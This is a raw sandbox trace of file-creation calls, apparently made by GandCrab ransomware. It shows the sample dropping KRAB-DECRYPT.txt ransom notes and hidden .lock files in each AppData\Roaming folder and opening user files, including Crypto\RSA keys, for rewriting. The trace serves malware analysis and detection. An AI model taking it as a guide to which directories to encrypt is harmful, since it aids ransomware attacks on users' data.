Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Headlights\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Headlights\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Linguistics\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Linguistics\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\LogTransport2\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\LogTransport2\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\LogTransport2\Logs\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\LogTransport2\Logs\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\LogTransport2\LogTransport2.cfg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Sonar\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Sonar\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Sonar\Sonar1.0\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Sonar\Sonar1.0\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Adobe\Sonar\Sonar1.0\sonar_policy.xml desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\AiUWcWXY-.csv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\aoUv2Yf_F8W.odp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\DW-yZoud-.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\e-ADlMBN_O.mp4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\FupPB_5g.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Identities\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Identities\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Identities\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Identities\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\IDWv6mYH.mkv desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\iQnDpe005_pHgwX76V8.jpg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\jEq3czG5M-p8F-9M8ls.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\jpg95_MxI58ijuhWkA1.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\#SharedObjects\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\#SharedObjects\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\#SharedObjects\DQQHJZ8C\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\#SharedObjects\DQQHJZ8C\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\settings.sol desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Access\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Access\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Access\AccessCache.accdb desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Access\System.mdw desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\AddIns\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\AddIns\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\APASixthEditionOfficeOnline.xsl desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\CHICAGO.XSL desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\GB.XSL desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\GostName.XSL desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\GostTitle.XSL desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\HarvardAnglia2008OfficeOnline.xsl desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\IEEE2006OfficeOnline.xsl desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\ISO690.XSL desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\ISO690Nmerical.XSL desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\MLASeventhEditionOfficeOnline.xsl desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\SIST02.XSL desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Bibliography\Style\TURABIAN.XSL desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Credentials\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Credentials\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\RSA\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\RSA\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1462094071-1423818996-289466292-1000\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1462094071-1423818996-289466292-1000\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1462094071-1423818996-289466292-1000\46a78fa46b43fb180b4fa21773f8ff3e_427a1946-e0ff-4097-8c9e-ca2c1e22780b desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1462094071-1423818996-289466292-1000\83aa4cc77f591dfc2374580bbd95f6ba_427a1946-e0ff-4097-8c9e-ca2c1e22780b desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Document Building Blocks\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Document Building Blocks\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Document Building Blocks\1033\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Document Building Blocks\1033\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Excel\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Excel\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Excel\XLSTART\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Excel\XLSTART\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\UserData\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\UserData\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MMC\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MMC\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MS Project\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MS Project\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MS Project\16\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MS Project\16\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MS Project\16\en-US\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MS Project\16\en-US\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\MS Project\16\en-US\Global.MPT desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Network\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Network\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Network\Connections\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Network\Connections\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Network\Connections\Pbk\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Network\Connections\Pbk\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\MSO1033.acl desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Office\Recent\Database1.LNK desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
